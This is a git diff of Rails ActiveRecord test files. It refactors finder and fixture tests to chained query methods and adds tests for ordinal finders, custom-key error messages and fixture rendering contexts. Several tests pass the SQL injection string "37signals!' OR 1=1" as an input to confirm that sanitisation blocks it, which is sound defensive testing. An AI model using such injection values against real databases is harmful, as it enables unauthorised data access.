+ assert_equal 2, Entrant.limit(2).find([1,3,2]).size
+ assert_equal 1, Entrant.limit(3).offset(2).find([1,3,2]).size
# Also test an edge case: If you have 11 results, and you set a
# limit of 3 and offset of 9, then you should find that there
# will be only 2 results, regardless of the limit.
devs = Developer.all
- last_devs = Developer.all.merge!(:limit => 3, :offset => 9).find devs.map(&:id)
+ last_devs = Developer.limit(3).offset(9).find devs.map(&:id)
assert_equal 2, last_devs.size
end
@@ -249,6 +276,94 @@ class FinderTest < ActiveRecord::TestCase
end
end
+ def test_second
+ assert_equal topics(:second).title, Topic.second.title
+ end
+
+ def test_second_with_offset
+ assert_equal topics(:fifth), Topic.offset(3).second
+ end
+
+ def test_second_have_primary_key_order_by_default
+ expected = topics(:second)
+ expected.touch # PostgreSQL changes the default order if no order clause is used
+ assert_equal expected, Topic.second
+ end
+
+ def test_model_class_responds_to_second_bang
+ assert Topic.second!
+ Topic.delete_all
+ assert_raises ActiveRecord::RecordNotFound do
+ Topic.second!
+ end
+ end
+
+ def test_third
+ assert_equal topics(:third).title, Topic.third.title
+ end
+
+ def test_third_with_offset
+ assert_equal topics(:fifth), Topic.offset(2).third
+ end
+
+ def test_third_have_primary_key_order_by_default
+ expected = topics(:third)
+ expected.touch # PostgreSQL changes the default order if no order clause is used
+ assert_equal expected, Topic.third
+ end
+
+ def test_model_class_responds_to_third_bang
+ assert Topic.third!
+ Topic.delete_all
+ assert_raises ActiveRecord::RecordNotFound do
+ Topic.third!
+ end
+ end
+
+ def test_fourth
+ assert_equal topics(:fourth).title, Topic.fourth.title
+ end
+
+ def test_fourth_with_offset
+ assert_equal topics(:fifth), Topic.offset(1).fourth
+ end
+
+ def test_fourth_have_primary_key_order_by_default
+ expected = topics(:fourth)
+ expected.touch # PostgreSQL changes the default order if no order clause is used
+ assert_equal expected, Topic.fourth
+ end
+
+ def test_model_class_responds_to_fourth_bang
+ assert Topic.fourth!
+ Topic.delete_all
+ assert_raises ActiveRecord::RecordNotFound do
+ Topic.fourth!
+ end
+ end
+
+ def test_fifth
+ assert_equal topics(:fifth).title, Topic.fifth.title
+ end
+
+ def test_fifth_with_offset
+ assert_equal topics(:fifth), Topic.offset(0).fifth
+ end
+
+ def test_fifth_have_primary_key_order_by_default
+ expected = topics(:fifth)
+ expected.touch # PostgreSQL changes the default order if no order clause is used
+ assert_equal expected, Topic.fifth
+ end
+
+ def test_model_class_responds_to_fifth_bang
+ assert Topic.fifth!
+ Topic.delete_all
+ assert_raises ActiveRecord::RecordNotFound do
+ Topic.fifth!
+ end
+ end
+
def test_last_bang_present
assert_nothing_raised do
assert_equal topics(:second), Topic.where("title = 'The Second Topic of the day'").last!
@@ -262,7 +377,7 @@ class FinderTest < ActiveRecord::TestCase
end
def test_model_class_responds_to_last_bang
- assert_equal topics(:fourth), Topic.last!
+ assert_equal topics(:fifth), Topic.last!
assert_raises ActiveRecord::RecordNotFound do
Topic.delete_all
Topic.last!
@@ -306,7 +421,7 @@ class FinderTest < ActiveRecord::TestCase
end
def test_find_only_some_columns
- topic = Topic.all.merge!(:select => "author_name").find(1)
+ topic = Topic.select("author_name").find(1)
assert_raise(ActiveModel::MissingAttributeError) {topic.title}
assert_raise(ActiveModel::MissingAttributeError) {topic.title?}
assert_nil topic.read_attribute("title")
@@ -318,23 +433,23 @@ class FinderTest < ActiveRecord::TestCase
end
def test_find_on_array_conditions
- assert Topic.all.merge!(:where => ["approved = ?", false]).find(1)
- assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => ["approved = ?", true]).find(1) }
+ assert Topic.where(["approved = ?", false]).find(1)
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.where(["approved = ?", true]).find(1) }
end
def test_find_on_hash_conditions
- assert Topic.all.merge!(:where => { :approved => false }).find(1)
- assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { :approved => true }).find(1) }
+ assert Topic.where(approved: false).find(1)
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.where(approved: true).find(1) }
end
def test_find_on_hash_conditions_with_explicit_table_name
- assert Topic.all.merge!(:where => { 'topics.approved' => false }).find(1)
- assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { 'topics.approved' => true }).find(1) }
+ assert Topic.where('topics.approved' => false).find(1)
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.where('topics.approved' => true).find(1) }
end
def test_find_on_hash_conditions_with_hashed_table_name
- assert Topic.all.merge!(:where => {:topics => { :approved => false }}).find(1)
- assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => {:topics => { :approved => true }}).find(1) }
+ assert Topic.where(topics: { approved: false }).find(1)
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.where(topics: { approved: true }).find(1) }
end
def test_find_with_hash_conditions_on_joined_table
@@ -344,7 +459,7 @@ class FinderTest < ActiveRecord::TestCase
end
def test_find_with_hash_conditions_on_joined_table_and_with_range
- firms = DependentFirm.all.merge!(:joins => :account, :where => {:name => 'RailsCore', :accounts => { :credit_limit => 55..60 }})
+ firms = DependentFirm.joins(:account).where(name: 'RailsCore', accounts: { credit_limit: 55..60 })
assert_equal 1, firms.size
assert_equal companies(:rails_core), firms.first
end
@@ -362,71 +477,71 @@ class FinderTest < ActiveRecord::TestCase
end
def test_find_on_hash_conditions_with_range
- assert_equal [1,2], Topic.all.merge!(:where => { :id => 1..2 }).to_a.map(&:id).sort
- assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { :id => 2..3 }).find(1) }
+ assert_equal [1,2], Topic.where(id: 1..2).to_a.map(&:id).sort
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.where(id: 2..3).find(1) }
end
def test_find_on_hash_conditions_with_end_exclusive_range
- assert_equal [1,2,3], Topic.all.merge!(:where => { :id => 1..3 }).to_a.map(&:id).sort
- assert_equal [1,2], Topic.all.merge!(:where => { :id => 1...3 }).to_a.map(&:id).sort
- assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { :id => 2...3 }).find(3) }
+ assert_equal [1,2,3], Topic.where(id: 1..3).to_a.map(&:id).sort
+ assert_equal [1,2], Topic.where(id: 1...3).to_a.map(&:id).sort
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.where(id: 2...3).find(3) }
end
def test_find_on_hash_conditions_with_multiple_ranges
- assert_equal [1,2,3], Comment.all.merge!(:where => { :id => 1..3, :post_id => 1..2 }).to_a.map(&:id).sort
- assert_equal [1], Comment.all.merge!(:where => { :id => 1..1, :post_id => 1..10 }).to_a.map(&:id).sort
+ assert_equal [1,2,3], Comment.where(id: 1..3, post_id: 1..2).to_a.map(&:id).sort
+ assert_equal [1], Comment.where(id: 1..1, post_id: 1..10).to_a.map(&:id).sort
end
def test_find_on_hash_conditions_with_array_of_integers_and_ranges
- assert_equal [1,2,3,5,6,7,8,9], Comment.all.merge!(:where => {:id => [1..2, 3, 5, 6..8, 9]}).to_a.map(&:id).sort
+ assert_equal [1,2,3,5,6,7,8,9], Comment.where(id: [1..2, 3, 5, 6..8, 9]).to_a.map(&:id).sort
end
def test_find_on_multiple_hash_conditions
- assert Topic.all.merge!(:where => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => false }).find(1)
- assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => true }).find(1) }
- assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { :author_name => "David", :title => "HHC", :replies_count => 1, :approved => false }).find(1) }
- assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => true }).find(1) }
+ assert Topic.where(author_name: "David", title: "The First Topic", replies_count: 1, approved: false).find(1)
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.where(author_name: "David", title: "The First Topic", replies_count: 1, approved: true).find(1) }
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.where(author_name: "David", title: "HHC", replies_count: 1, approved: false).find(1) }
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.where(author_name: "David", title: "The First Topic", replies_count: 1, approved: true).find(1) }
end
def test_condition_interpolation
assert_kind_of Firm, Company.where("name = '%s'", "37signals").first
- assert_nil Company.all.merge!(:where => ["name = '%s'", "37signals!"]).first
- assert_nil Company.all.merge!(:where => ["name = '%s'", "37signals!' OR 1=1"]).first
- assert_kind_of Time, Topic.all.merge!(:where => ["id = %d", 1]).first.written_on
+ assert_nil Company.where(["name = '%s'", "37signals!"]).first
+ assert_nil Company.where(["name = '%s'", "37signals!' OR 1=1"]).first
+ assert_kind_of Time, Topic.where(["id = %d", 1]).first.written_on
end
def test_condition_array_interpolation
- assert_kind_of Firm, Company.all.merge!(:where => ["name = '%s'", "37signals"]).first
- assert_nil Company.all.merge!(:where => ["name = '%s'", "37signals!"]).first
- assert_nil Company.all.merge!(:where => ["name = '%s'", "37signals!' OR 1=1"]).first
- assert_kind_of Time, Topic.all.merge!(:where => ["id = %d", 1]).first.written_on
+ assert_kind_of Firm, Company.where(["name = '%s'", "37signals"]).first
+ assert_nil Company.where(["name = '%s'", "37signals!"]).first
+ assert_nil Company.where(["name = '%s'", "37signals!' OR 1=1"]).first
+ assert_kind_of Time, Topic.where(["id = %d", 1]).first.written_on
end
def test_condition_hash_interpolation
- assert_kind_of Firm, Company.all.merge!(:where => { :name => "37signals"}).first
- assert_nil Company.all.merge!(:where => { :name => "37signals!"}).first
- assert_kind_of Time, Topic.all.merge!(:where => {:id => 1}).first.written_on
+ assert_kind_of Firm, Company.where(name: "37signals").first
+ assert_nil Company.where(name: "37signals!").first
+ assert_kind_of Time, Topic.where(id: 1).first.written_on
end
def test_hash_condition_find_malformed
assert_raise(ActiveRecord::StatementInvalid) {
- Company.all.merge!(:where => { :id => 2, :dhh => true }).first
+ Company.where(id: 2, dhh: true).first
}
end
def test_hash_condition_find_with_escaped_characters
Company.create("name" => "Ain't noth'n like' \#stuff")
- assert Company.all.merge!(:where => { :name => "Ain't noth'n like' \#stuff" }).first
+ assert Company.where(name: "Ain't noth'n like' \#stuff").first
end
def test_hash_condition_find_with_array
- p1, p2 = Post.all.merge!(:limit => 2, :order => 'id asc').to_a
- assert_equal [p1, p2], Post.all.merge!(:where => { :id => [p1, p2] }, :order => 'id asc').to_a
- assert_equal [p1, p2], Post.all.merge!(:where => { :id => [p1, p2.id] }, :order => 'id asc').to_a
+ p1, p2 = Post.limit(2).order('id asc').to_a
+ assert_equal [p1, p2], Post.where(id: [p1, p2]).order('id asc').to_a
+ assert_equal [p1, p2], Post.where(id: [p1, p2.id]).order('id asc').to_a
end
def test_hash_condition_find_with_nil
- topic = Topic.all.merge!(:where => { :last_read => nil } ).first
+ topic = Topic.where(last_read: nil).first
assert_not_nil topic
assert_nil topic.last_read
end
@@ -475,61 +590,61 @@ class FinderTest < ActiveRecord::TestCase
def test_condition_utc_time_interpolation_with_default_timezone_local
with_env_tz 'America/New_York' do
- with_active_record_default_timezone :local do
+ with_timezone_config default: :local do
topic = Topic.first
- assert_equal topic, Topic.all.merge!(:where => ['written_on = ?', topic.written_on.getutc]).first
+ assert_equal topic, Topic.where(['written_on = ?', topic.written_on.getutc]).first
end
end
end
def test_hash_condition_utc_time_interpolation_with_default_timezone_local
with_env_tz 'America/New_York' do
- with_active_record_default_timezone :local do
+ with_timezone_config default: :local do
topic = Topic.first
- assert_equal topic, Topic.all.merge!(:where => {:written_on => topic.written_on.getutc}).first
+ assert_equal topic, Topic.where(written_on: topic.written_on.getutc).first
end
end
end
def test_condition_local_time_interpolation_with_default_timezone_utc
with_env_tz 'America/New_York' do
- with_active_record_default_timezone :utc do
+ with_timezone_config default: :utc do
topic = Topic.first
- assert_equal topic, Topic.all.merge!(:where => ['written_on = ?', topic.written_on.getlocal]).first
+ assert_equal topic, Topic.where(['written_on = ?', topic.written_on.getlocal]).first
end
end
end
def test_hash_condition_local_time_interpolation_with_default_timezone_utc
with_env_tz 'America/New_York' do
- with_active_record_default_timezone :utc do
+ with_timezone_config default: :utc do
topic = Topic.first
- assert_equal topic, Topic.all.merge!(:where => {:written_on => topic.written_on.getlocal}).first
+ assert_equal topic, Topic.where(written_on: topic.written_on.getlocal).first
end
end
end
def test_bind_variables
- assert_kind_of Firm, Company.all.merge!(:where => ["name = ?", "37signals"]).first
- assert_nil Company.all.merge!(:where => ["name = ?", "37signals!"]).first
- assert_nil Company.all.merge!(:where => ["name = ?", "37signals!' OR 1=1"]).first
- assert_kind_of Time, Topic.all.merge!(:where => ["id = ?", 1]).first.written_on
+ assert_kind_of Firm, Company.where(["name = ?", "37signals"]).first
+ assert_nil Company.where(["name = ?", "37signals!"]).first
+ assert_nil Company.where(["name = ?", "37signals!' OR 1=1"]).first
+ assert_kind_of Time, Topic.where(["id = ?", 1]).first.written_on
assert_raise(ActiveRecord::PreparedStatementInvalid) {
- Company.all.merge!(:where => ["id=? AND name = ?", 2]).first
+ Company.where(["id=? AND name = ?", 2]).first
}
assert_raise(ActiveRecord::PreparedStatementInvalid) {
- Company.all.merge!(:where => ["id=?", 2, 3, 4]).first
+ Company.where(["id=?", 2, 3, 4]).first
}
end
def test_bind_variables_with_quotes
Company.create("name" => "37signals' go'es agains")
- assert Company.all.merge!(:where => ["name = ?", "37signals' go'es agains"]).first
+ assert Company.where(["name = ?", "37signals' go'es agains"]).first
end
def test_named_bind_variables_with_quotes
Company.create("name" => "37signals' go'es agains")
- assert Company.all.merge!(:where => ["name = :name", {:name => "37signals' go'es agains"}]).first
+ assert Company.where(["name = :name", {name: "37signals' go'es agains"}]).first
end
def test_bind_arity
@@ -547,10 +662,10 @@ class FinderTest < ActiveRecord::TestCase
assert_nothing_raised { bind("'+00:00'", :foo => "bar") }
- assert_kind_of Firm, Company.all.merge!(:where => ["name = :name", { :name => "37signals" }]).first
- assert_nil Company.all.merge!(:where => ["name = :name", { :name => "37signals!" }]).first
- assert_nil Company.all.merge!(:where => ["name = :name", { :name => "37signals!' OR 1=1" }]).first
- assert_kind_of Time, Topic.all.merge!(:where => ["id = :id", { :id => 1 }]).first.written_on
+ assert_kind_of Firm, Company.where(["name = :name", { name: "37signals" }]).first
+ assert_nil Company.where(["name = :name", { name: "37signals!" }]).first
+ assert_nil Company.where(["name = :name", { name: "37signals!' OR 1=1" }]).first
+ assert_kind_of Time, Topic.where(["id = :id", { id: 1 }]).first.written_on
end
class SimpleEnumerable
@@ -613,7 +728,7 @@ class FinderTest < ActiveRecord::TestCase
def test_named_bind_with_postgresql_type_casts
l = Proc.new { bind(":a::integer '2009-01-01'::date", :a => '10') }
assert_nothing_raised(&l)
- assert_equal "#{ActiveRecord::Base.quote_value('10')}::integer '2009-01-01'::date", l.call
+ assert_equal "#{ActiveRecord::Base.connection.quote('10')}::integer '2009-01-01'::date", l.call
end
def test_string_sanitation
@@ -637,6 +752,13 @@ class FinderTest < ActiveRecord::TestCase
assert_raise(ActiveRecord::RecordNotFound) { Topic.find_by_title!("The First Topic!") }
end
+ def test_find_by_on_attribute_that_is_a_reserved_word
+ dog_alias = 'Dog'
+ dog = Dog.create(alias: dog_alias)
+
+ assert_equal dog, Dog.find_by_alias(dog_alias)
+ end
+
def test_find_by_one_attribute_that_is_an_alias
assert_equal topics(:first), Topic.find_by_heading("The First Topic")
assert_nil Topic.find_by_heading("The First Topic!")
@@ -716,6 +838,15 @@ class FinderTest < ActiveRecord::TestCase
assert_raise(ArgumentError) { Topic.find_by_title_and_author_name("The First Topic") }
end
+ def test_find_last_with_offset
+ devs = Developer.order('id')
+
+ assert_equal devs[2], Developer.offset(2).first
+ assert_equal devs[-3], Developer.offset(2).last
+ assert_equal devs[-3], Developer.offset(2).last
+ assert_equal devs[-3], Developer.offset(2).order('id DESC').first
+ end
+
def test_find_by_nil_attribute
topic = Topic.find_by_last_read nil
assert_not_nil topic
@@ -732,10 +863,9 @@ class FinderTest < ActiveRecord::TestCase
end
def test_find_all_with_join
- developers_on_project_one = Developer.all.merge!(
- :joins => 'LEFT JOIN developers_projects ON developers.id = developers_projects.developer_id',
- :where => 'project_id=1'
- ).to_a
+ developers_on_project_one = Developer.
+ joins('LEFT JOIN developers_projects ON developers.id = developers_projects.developer_id').
+ where('project_id=1').to_a
assert_equal 3, developers_on_project_one.length
developer_names = developers_on_project_one.map { |d| d.name }
assert developer_names.include?('David')
@@ -743,20 +873,17 @@ class FinderTest < ActiveRecord::TestCase
end
def test_joins_dont_clobber_id
- first = Firm.all.merge!(
- :joins => 'INNER JOIN companies clients ON clients.firm_id = companies.id',
- :where => 'companies.id = 1'
- ).first
+ first = Firm.
+ joins('INNER JOIN companies clients ON clients.firm_id = companies.id').
+ where('companies.id = 1').first
assert_equal 1, first.id
end
def test_joins_with_string_array
- person_with_reader_and_post = Post.all.merge!(
- :joins => [
- "INNER JOIN categorizations ON categorizations.post_id = posts.id",
- "INNER JOIN categories ON categories.id = categorizations.category_id AND categories.type = 'SpecialCategory'"
- ]
- )
+ person_with_reader_and_post = Post.
+ joins(["INNER JOIN categorizations ON categorizations.post_id = posts.id",
+ "INNER JOIN categories ON categories.id = categorizations.category_id AND categories.type = 'SpecialCategory'"
+ ])
assert_equal 1, person_with_reader_and_post.size
end
@@ -781,9 +908,9 @@ class FinderTest < ActiveRecord::TestCase
end
def test_find_by_records
- p1, p2 = Post.all.merge!(:limit => 2, :order => 'id asc').to_a
- assert_equal [p1, p2], Post.all.merge!(:where => ['id in (?)', [p1, p2]], :order => 'id asc')
- assert_equal [p1, p2], Post.all.merge!(:where => ['id in (?)', [p1, p2.id]], :order => 'id asc')
+ p1, p2 = Post.limit(2).order('id asc').to_a
+ assert_equal [p1, p2], Post.where(['id in (?)', [p1, p2]]).order('id asc')
+ assert_equal [p1, p2], Post.where(['id in (?)', [p1, p2.id]]).order('id asc')
end
def test_select_value
@@ -795,8 +922,8 @@ class FinderTest < ActiveRecord::TestCase
end
def test_select_values
- assert_equal ["1","2","3","4","5","6","7","8","9", "10"], Company.connection.select_values("SELECT id FROM companies ORDER BY id").map! { |i| i.to_s }
- assert_equal ["37signals","Summit","Microsoft", "Flamboyant Software", "Ex Nihilo", "RailsCore", "Leetsoft", "Jadedpixel", "Odegy", "Ex Nihilo Part Deux"], Company.connection.select_values("SELECT name FROM companies ORDER BY id")
+ assert_equal ["1","2","3","4","5","6","7","8","9", "10", "11"], Company.connection.select_values("SELECT id FROM companies ORDER BY id").map! { |i| i.to_s }
+ assert_equal ["37signals","Summit","Microsoft", "Flamboyant Software", "Ex Nihilo", "RailsCore", "Leetsoft", "Jadedpixel", "Odegy", "Ex Nihilo Part Deux", "Apex"], Company.connection.select_values("SELECT name FROM companies ORDER BY id")
end
def test_select_rows
@@ -810,36 +937,35 @@ class FinderTest < ActiveRecord::TestCase
end
def test_find_with_order_on_included_associations_with_construct_finder_sql_for_association_limiting_and_is_distinct
- assert_equal 2, Post.all.merge!(:includes => { :authors => :author_address }, :order => 'author_addresses.id DESC ', :limit => 2).to_a.size
+ assert_equal 2, Post.includes(authors: :author_address).order('author_addresses.id DESC ').limit(2).to_a.size
- assert_equal 3, Post.all.merge!(:includes => { :author => :author_address, :authors => :author_address},
- :order => 'author_addresses_authors.id DESC ', :limit => 3).to_a.size
+ assert_equal 3, Post.includes(author: :author_address, authors: :author_address).
+ order('author_addresses_authors.id DESC ').limit(3).to_a.size
end
def test_find_with_nil_inside_set_passed_for_one_attribute
- client_of = Company.all.merge!(
- :where => {
- :client_of => [2, 1, nil],
- :name => ['37signals', 'Summit', 'Microsoft'] },
- :order => 'client_of DESC'
- ).map { |x| x.client_of }
+ client_of = Company.
+ where(client_of: [2, 1, nil],
+ name: ['37signals', 'Summit', 'Microsoft']).
+ order('client_of DESC').
+ map { |x| x.client_of }
assert client_of.include?(nil)
assert_equal [2, 1].sort, client_of.compact.sort
end
def test_find_with_nil_inside_set_passed_for_attribute
- client_of = Company.all.merge!(
- :where => { :client_of => [nil] },
- :order => 'client_of DESC'
- ).map { |x| x.client_of }
+ client_of = Company.
+ where(client_of: [nil]).
+ order('client_of DESC').
+ map { |x| x.client_of }
assert_equal [], client_of.compact
end
def test_with_limiting_with_custom_select
posts = Post.references(:authors).merge(
- :includes => :author, :select => ' posts.*, authors.id as "author_id"',
+ :includes => :author, :select => 'posts.*, authors.id as "author_id"',
:limit => 3, :order => 'posts.id'
).to_a
assert_equal 3, posts.size
@@ -847,18 +973,33 @@ class FinderTest < ActiveRecord::TestCase
end
def test_find_one_message_with_custom_primary_key
- Toy.primary_key = :name
- begin
- Toy.find 'Hello World!'
- rescue ActiveRecord::RecordNotFound => e
- assert_equal 'Couldn\'t find Toy with name=Hello World!', e.message
+ table_with_custom_primary_key do |model|
+ model.primary_key = :name
+ e = assert_raises(ActiveRecord::RecordNotFound) do
+ model.find 'Hello World!'
+ end
+ assert_equal %Q{Couldn't find MercedesCar with 'name'=Hello World!}, e.message
+ end
+ end
+
+ def test_find_some_message_with_custom_primary_key
+ table_with_custom_primary_key do |model|
+ model.primary_key = :name
+ e = assert_raises(ActiveRecord::RecordNotFound) do
+ model.find 'Hello', 'World!'
+ end
+ assert_equal %Q{Couldn't find all MercedesCars with 'name': (Hello, World!) (found 0 results, but was looking for 2)}, e.message
+ end
+ end
+
+ def test_find_without_primary_key
+ assert_raises(ActiveRecord::UnknownPrimaryKey) do
+ Matey.find(1)
end
- ensure
- Toy.reset_primary_key
end
def test_finder_with_offset_string
- assert_nothing_raised(ActiveRecord::StatementInvalid) { Topic.all.merge!(:offset => "3").to_a }
+ assert_nothing_raised(ActiveRecord::StatementInvalid) { Topic.offset("3").to_a }
end
protected
@@ -870,17 +1011,11 @@ class FinderTest < ActiveRecord::TestCase
end
end
- def with_env_tz(new_tz = 'US/Eastern')
- old_tz, ENV['TZ'] = ENV['TZ'], new_tz
- yield
- ensure
- old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
- end
-
- def with_active_record_default_timezone(zone)
- old_zone, ActiveRecord::Base.default_timezone = ActiveRecord::Base.default_timezone, zone
- yield
- ensure
- ActiveRecord::Base.default_timezone = old_zone
+ def table_with_custom_primary_key
+ yield(Class.new(Toy) do
+ def self.name
+ 'MercedesCar'
+ end
+ end)
end
end
diff --git a/activerecord/test/cases/fixture_set/file_test.rb b/activerecord/test/cases/fixture_set/file_test.rb
index a029fedbd3..92efa8aca7 100644
--- a/activerecord/test/cases/fixture_set/file_test.rb
+++ b/activerecord/test/cases/fixture_set/file_test.rb
@@ -68,6 +68,61 @@ module ActiveRecord
end
end
+ def test_render_context_helper
+ ActiveRecord::FixtureSet.context_class.class_eval do
+ def fixture_helper
+ "Fixture helper"
+ end
+ end
+ yaml = "one:\n name: <%= fixture_helper %>\n"
+ tmp_yaml ['curious', 'yml'], yaml do |t|
+ golden =
+ [["one", {"name" => "Fixture helper"}]]
+ assert_equal golden, File.open(t.path) { |fh| fh.to_a }
+ end
+ ActiveRecord::FixtureSet.context_class.class_eval do
+ remove_method :fixture_helper
+ end
+ end
+
+ def test_render_context_lookup_scope
+ yaml = <<END
+one:
+ ActiveRecord: <%= defined? ActiveRecord %>
+ ActiveRecord_FixtureSet: <%= defined? ActiveRecord::FixtureSet %>
+ FixtureSet: <%= defined? FixtureSet %>
+ ActiveRecord_FixtureSet_File: <%= defined? ActiveRecord::FixtureSet::File %>
+ File: <%= File.name %>
+END
+
+ golden = [['one', {
+ 'ActiveRecord' => 'constant',
+ 'ActiveRecord_FixtureSet' => 'constant',
+ 'FixtureSet' => nil,
+ 'ActiveRecord_FixtureSet_File' => 'constant',
+ 'File' => 'File'
+ }]]
+
+ tmp_yaml ['curious', 'yml'], yaml do |t|
+ assert_equal golden, File.open(t.path) { |fh| fh.to_a }
+ end
+ end
+
+ # Make sure that each fixture gets its own rendering context so that
+ # fixtures are independent.
+ def test_independent_render_contexts
+ yaml1 = "<% def leaked_method; 'leak'; end %>\n"
+ yaml2 = "one:\n name: <%= leaked_method %>\n"
+ tmp_yaml ['leaky', 'yml'], yaml1 do |t1|
+ tmp_yaml ['curious', 'yml'], yaml2 do |t2|
+ File.open(t1.path) { |fh| fh.to_a }
+ assert_raises(NameError) do
+ File.open(t2.path) { |fh| fh.to_a }
+ end
+ end
+ end
+ end
+
private
def tmp_yaml(name, contents)
t = Tempfile.new name
diff --git a/activerecord/test/cases/fixtures_test.rb b/activerecord/test/cases/fixtures_test.rb
index df6edc4057..8bbc0af758 100644
--- a/activerecord/test/cases/fixtures_test.rb
+++ b/activerecord/test/cases/fixtures_test.rb
@@ -84,6 +84,12 @@ class FixturesTest < ActiveRecord::TestCase
assert fixtures.detect { |f| f.name == 'collections' }, "no fixtures named 'collections' in #{fixtures.map(&:name).inspect}"
end
+ def test_create_symbol_fixtures_is_deprecated
+ assert_deprecated do
+ ActiveRecord::FixtureSet.create_fixtures(FIXTURES_ROOT, :collections, :collections => 'Course') { Course.connection }
+ end
+ end
+
def test_attributes
topics = create_fixtures("topics").first
assert_equal("The First Topic", topics["first"]["title"])
@@ -190,11 +196,11 @@ class FixturesTest < ActiveRecord::TestCase
end
def test_empty_yaml_fixture
- assert_not_nil ActiveRecord::FixtureSet.new( Account.connection, "accounts", 'Account', FIXTURES_ROOT + "/naked/yml/accounts")
+ assert_not_nil ActiveRecord::FixtureSet.new( Account.connection, "accounts", Account, FIXTURES_ROOT + "/naked/yml/accounts")
end
def test_empty_yaml_fixture_with_a_comment_in_it
- assert_not_nil ActiveRecord::FixtureSet.new( Account.connection, "companies", 'Company', FIXTURES_ROOT + "/naked/yml/companies")
+ assert_not_nil ActiveRecord::FixtureSet.new( Account.connection, "companies", Company, FIXTURES_ROOT + "/naked/yml/companies")
end
def test_nonexistent_fixture_file
@@ -204,19 +210,19 @@ class FixturesTest < ActiveRecord::TestCase
assert Dir[nonexistent_fixture_path+"*"].empty?
assert_raise(Errno::ENOENT) do
- ActiveRecord::FixtureSet.new( Account.connection, "companies", 'Company', nonexistent_fixture_path)
+ ActiveRecord::FixtureSet.new( Account.connection, "companies", Company, nonexistent_fixture_path)
end
end
def test_dirty_dirty_yaml_file
assert_raise(ActiveRecord::Fixture::FormatError) do
- ActiveRecord::FixtureSet.new( Account.connection, "courses", 'Course', FIXTURES_ROOT + "/naked/yml/courses")
+ ActiveRecord::FixtureSet.new( Account.connection, "courses", Course, FIXTURES_ROOT + "/naked/yml/courses")
end
end
def test_omap_fixtures
assert_nothing_raised do
- fixtures = ActiveRecord::FixtureSet.new(Account.connection, 'categories', 'Category', FIXTURES_ROOT + "/categories_ordered")
+ fixtures = ActiveRecord::FixtureSet.new(Account.connection, 'categories', Category, FIXTURES_ROOT + "/categories_ordered")
fixtures.each.with_index do |(name, fixture), i|
assert_equal "fixture_no_#{i}", name
@@ -247,7 +253,8 @@ class FixturesTest < ActiveRecord::TestCase
end
def test_fixtures_are_set_up_with_database_env_variable
- ENV.stubs(:[]).with("DATABASE_URL").returns("sqlite3:///:memory:")
+ db_url_tmp = ENV['DATABASE_URL']
+ ENV['DATABASE_URL'] = "sqlite3::memory:"
ActiveRecord::Base.stubs(:configurations).returns({})
test_case = Class.new(ActiveRecord::TestCase) do
fixtures :accounts
@@ -260,6 +267,43 @@ class FixturesTest < ActiveRecord::TestCase
result = test_case.new(:test_fixtures).run
assert result.passed?, "Expected #{result.name} to pass:\n#{result}"
+ ensure
+ ENV['DATABASE_URL'] = db_url_tmp
+ end
+end
+
+class HasManyThroughFixture < ActiveSupport::TestCase
+ def make_model(name)
+ Class.new(ActiveRecord::Base) { define_singleton_method(:name) { name } }
+ end
+
+ def test_has_many_through
+ pt = make_model "ParrotTreasure"
+ parrot = make_model "Parrot"
+ treasure = make_model "Treasure"
+
+ pt.table_name = "parrots_treasures"
+ pt.belongs_to :parrot, :class => parrot
+ pt.belongs_to :treasure, :class => treasure
+
+ parrot.has_many :parrot_treasures, :class => pt
+ parrot.has_many :treasures, :through => :parrot_treasures
+
+ parrots = File.join FIXTURES_ROOT, 'parrots'
+
+ fs = ActiveRecord::FixtureSet.new parrot.connection, "parrots", parrot, parrots
+ rows = fs.table_rows
+ assert_equal load_has_and_belongs_to_many['parrots_treasures'], rows['parrots_treasures']
+ end
+
+ def load_has_and_belongs_to_many
+ parrot = make_model "Parrot"
+ parrot.has_and_belongs_to_many :treasures
+
+ parrots = File.join FIXTURES_ROOT, 'parrots'
+
+ fs = ActiveRecord::FixtureSet.new parrot.connection, "parrots", parrot, parrots
+ fs.table_rows
end
end
@@ -449,7 +493,7 @@ class OverRideFixtureMethodTest < ActiveRecord::TestCase
end
class CheckSetTableNameFixturesTest < ActiveRecord::TestCase
- set_fixture_class :funny_jokes => 'Joke'
+ set_fixture_class :funny_jokes => Joke
fixtures :funny_jokes
# Set to false to blow away fixtures cache and ensure our fixtures are loaded
# and thus takes into account our set_fixture_class
@@ -493,10 +537,6 @@ class CustomConnectionFixturesTest < ActiveRecord::TestCase
fixtures :courses
self.use_transactional_fixtures = false
- def test_connection_instance_method_deprecation
- assert_deprecated { courses(:ruby).connection }
- end
-
def test_leaky_destroy
assert_nothing_raised { courses(:ruby) }
courses(:ruby).destroy
@@ -536,7 +576,7 @@ class InvalidTableNameFixturesTest < ActiveRecord::TestCase
end
class CheckEscapedYamlFixturesTest < ActiveRecord::TestCase
- set_fixture_class :funny_jokes => 'Joke'
+ set_fixture_class :funny_jokes => Joke
fixtures :funny_jokes
# Set to false to blow away fixtures cache and ensure our fixtures are loaded
# and thus takes into account our set_fixture_class
@@ -578,26 +618,34 @@ class FixturesBrokenRollbackTest < ActiveRecord::TestCase
end
private
- def load_fixtures
+ def load_fixtures(config)
raise 'argh'
end
end
